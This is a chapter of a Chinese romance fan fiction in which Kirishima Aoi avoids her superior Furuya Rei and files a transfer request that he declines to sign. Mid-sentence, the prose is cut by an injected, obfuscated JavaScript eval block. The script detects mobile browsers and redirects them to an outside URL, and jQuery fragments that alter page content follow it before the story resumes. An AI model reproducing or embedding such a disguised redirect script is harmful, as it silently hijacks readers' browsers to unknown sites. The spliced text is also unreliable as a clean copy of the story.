23.第23章
作品:《咸鱼下属与全能公安的日常》 第二天早上八点,降谷零的车准时停在她公寓楼下时,雾岛葵站在窗帘后面做了三次深呼吸,才提着包下楼,同时心里一直后悔昨天自己为什么脑子一抽,让他来接自己。
“早。”她拉开车门,努力让自己的声音听起来正常。
“早。”降谷零递给她一个纸袋,“顺路买的咖啡。你的加奶加糖。”
雾岛葵接过纸袋,指尖碰到他手背的瞬间,像被静电打到一样缩了回来。
“……谢谢。”
完蛋,连正常肢体接触都做不到了。
车驶上主干道。雾岛葵捧着咖啡,眼睛死死盯着窗外,试图把注意力集中在数经过的蓝色车辆上,一辆,两辆,三辆……
“施工路段。”降谷零忽然说。
“啊?”
“你说你家附近的电车站施工。”降谷零的语气很奇怪好像故意的,“我今早绕过来时特意观察了,没有施工标志,车站运行正常。”
雾岛葵的脑子嗡的一声,糟糕!
“可能……可能是我记错了。”她干巴巴地说,“也可能是下周才开工,我搞混了……”
“是吗。”降谷零打了转向灯,“那明天还需要我来接吗?”
“不用了!”雾岛葵脱口而出,声音大得自己都吓了一跳,“太麻烦了!我自己可以!”
车内陷入短暂的沉默,雾岛葵恨不得跳车。
降谷零忍住了笑,最终只说了一个字。“好。”
接下来的路程里,雾岛葵用尽毕生演技假装专注地看手机邮件。但她能感觉到降谷零偶尔投来的目光,仿佛能看穿一切的目光,透过她的身体看到她的心。
一到办公室,她就冲进了洗手间。
镜子里的人脸颊绯红,眼神慌乱,完全就是一副做贼心虚的样子。
“冷静,雾岛葵。”她对着镜子低声说,“你是前SIT王牌,是经历过生死的人,怎么能因为这种……这种青春期少女一样的问题自乱阵脚?”
但镜子里的自己显然没被说服。
一整天,雾岛葵都在进行一场艰苦卓绝的伪装战。
上午九点,降谷零召集案情分析会。她特意选了离他最远的位置,全程低头记录,坚决不与他对视。
“雾岛。”会议进行到一半,降谷零忽然点名,“你对嫌疑人社会关系的分析有补充吗?”
雾岛葵手一抖,笔在纸上划出一道歪线。
“没,没有。”她盯着笔记本,“我认为风见前辈的梳理已经很全面了。”
风见裕也诧异地看了她一眼,按照雾岛葵最近的工作状态,这种时候她通常会提出至少两三个刁钻的角度。
降谷零点了点头,没说什么,但雾岛葵感觉他的目光在自己身上多停留了三秒。
中午休息,她破天荒地没有去员工食堂,而是躲在消防楼梯间吃便利店饭团。刚咬了两口,楼梯间的门被推开了。
降谷零站在门口,手里拿着一个文件夹。
两人对视了三秒。
“我……我在进行日光疗法。”雾岛葵举起饭团,指了指楼梯间窗户透进来的阳光,“补充维生素D。”
降谷零看了看她,又看了看她手里的金枪鱼饭团。
“消防楼梯间的日光疗法。”他重复了一遍,“很有创意。”
雾岛葵想立刻消失。
“这份文件需要你今天处理完。”降谷零把文件夹递过来,“不急,下班前给我就行。”
“好的。”
接过文件夹时,她的指尖又碰到了他的手。
这次她没缩回去,但整个人僵硬得像块木板。
降谷零似乎想说什么,但最终只是点了点头,转身离开了。
雾岛葵靠在墙上,缓缓滑坐到台阶上,把脸埋进膝盖。
伪装失败,全面溃败。
她根本控制不住,控制不住在他说话时抬头看他,控制不住在他靠近时心跳加速。
下午三点,雾岛葵做出了一个重大决定。
她打开内部系统,调出了《岗位调动申请表》。
手指在键盘上悬停了整整十分钟。理由栏里,她最终输入:“个人职业发展规划调整,希望接触更广泛的一线外勤工作。”
很官方,很得体,完全看不出真实原因。
点击提交的那一刻,她感觉到一种混合着解脱和失重的奇怪情绪。
“这样就好。”她对自己说,“趁还没露出更多破绽,趁还没做出更丢人的事,趁他还没发现……”
“雾岛。”风见裕也的声音突然在身后响起。
雾岛葵手忙脚乱地切换屏幕,动作快到差点把鼠标甩出去。
“风,风见!”她努力保持镇定,“有事吗?”
风见看着她通红的脸,又看了看屏幕上还没来得及完全关掉的系统界面,虽然只瞥到一眼,但他似乎看到了调动申请的字样。
“……降谷先生让你去他办公室一趟。”风见说,表情有些复杂。
雾岛葵的心沉了下去。
不会吧,系统通知这么快就到他那里了?
她硬着头皮走进降谷零的办公室。他正站在窗边,背对着她。午后的阳光把他的轮廓镀上一层金边。
“您找我?”雾岛葵的声音有点发紧。
降谷零转过身,手里拿着一个药盒。
“你的。”他走过来,把药盒放在桌上,“早上去接你时,应该是从包里掉出来,落在我车上了。”
雾岛葵看着那个熟悉的药盒,是她从医院开的消炎药,医生嘱咐要按时吃。
“谢,谢谢。”她伸手去拿。
降谷零的手指按在药盒上,没有立刻松开。
“雾岛。”他抬起眼睛看她,“你最近状态不太对。”
雾岛葵感觉呼吸一滞。
“我很好。”她说,“可能是伤还没完全恢复,有点累。”
“是吗。”降谷零松开了手,“但我注意到,你今天一整天都在刻意避开我。会议时不发言,午饭不去食堂,交流时避免眼神接触。”
每说一点,雾岛葵的心就往下沉一分。
“如果是我做了什么让你不舒服的事……”降谷零继续说。
“没有!”雾岛葵打断他,声音又急又慌,“您什么都没做!是我自己的问题!我只是……需要调整一下!”
话说出口,她才意识到这简直是此地无银三百两。
降谷零安静地看着她。
“好。”他终于说,“如果需要帮助,随时告诉我。”
“谢谢。”
雾岛葵抓起药盒,几乎是逃出了办公室。
回到工位,她盯着电脑屏幕,发现系统里已经有一条新通知:
【人事调动申请】已提交成功,等待直属上级审批。
她的手开始发凉。
接下来的两个小时,雾岛葵处在一种魂不守舍的状态。她机械地处理着文件,眼睛却不断瞟向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082276|194872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
降谷零办公室紧闭的门。
他会批准吗?
如果批准了,她就要离开零组,离开他每天出现的地方,离开这个她刚刚开始认真对待的工作岗位。
如果不批准……
如果不批准,她要怎么继续每天面对他,同时假装自己那颗心没有在胸腔里胡乱蹦跶?
下午五点二十九分,离下班还有一分钟。
雾岛葵盯着时钟,第一次希望时间走得慢一点。
五点三十分整。
降谷零办公室的门开了。
他走出来,手里拿着一个文件夹,表情和平常一样平静。经过雾岛葵工位时,他停下脚步。
“雾岛。”
“是。”雾岛葵站起来,感觉喉咙发干。
降谷零把文件夹递给她:“你的调动申请。”
雾岛葵接过文件夹,手有点抖。她打开,看到申请表的最后一栏。
【直属上级审批意见】
那一栏是空的。
没有批准,没有驳回,什么都没有。
她抬起头,困惑地看着降谷零。
“申请我收到了。”降谷零说,声音很平稳,“但我需要你当面告诉我真正的理由。”
他往前一步,距离近到雾岛葵能看清他睫毛的弧度。
“如果你能看着我的眼睛,告诉我你想调走的真实原因。”他的声音压得很低,只有他们两人能听见,“并且那个原因合理,我会立刻签字。”
雾岛葵张了张嘴,发不出声音。
真正的理由?
因为发现自己喜欢上你了而我不太想面对感觉到太羞耻了所以必须逃?
这种话怎么可能说得出口。
她看着他近在咫尺的眼睛,那里面映出自己慌乱的脸。时间仿佛被拉长,每一秒都漫长无比。
“我……”她艰难地开口,“我……”
就在这时,降谷零的手机响了。
他看了一眼屏幕,表情微变,接起电话:“是我。……什么时候?……知道了,我马上到。”
挂断电话,他重新看向雾岛葵。
“紧急任务。”他说,“调职的事,回来再谈。”
他转身快步走向门口,又忽然停下,回头看了她一眼。
“在我回来之前,”他说,“那份申请先留在你那里,别急着做决定。”
然后他离开了,脚步声消失在走廊尽头。
雾岛葵站在原地,手里拿着那份没有审批意见的申请表,感觉整个世界的重量都压在了这张纸上。
风见裕也走过来,看了看她苍白的脸,又看了看她手里的文件夹,叹了口气。
“你知道吗,”他说,“降谷先生今天下午推掉了两个重要会议,一个人在办公室待了很久。”
雾岛葵抬起头。
风见拍了拍她的肩膀。
“在他手下工作多年,我从没见过他为哪个下属这么费心。”风见说,“好好想想吧。”
风见离开后,雾岛葵慢慢坐回椅子上。
她打开那份申请表,盯着空白的审批栏看了很久。
窗外,夜幕缓缓降临。
而某个紧急任务现场,降谷零一边听取汇报,一边抬头看向远处的任务目标。
但若仔细看,会发现他握枪的手比平时紧了一分,有些问题,比任何紧急任务都更需要立刻解决。
而解决的前提是,两个人都得先承认,问题确实存在。

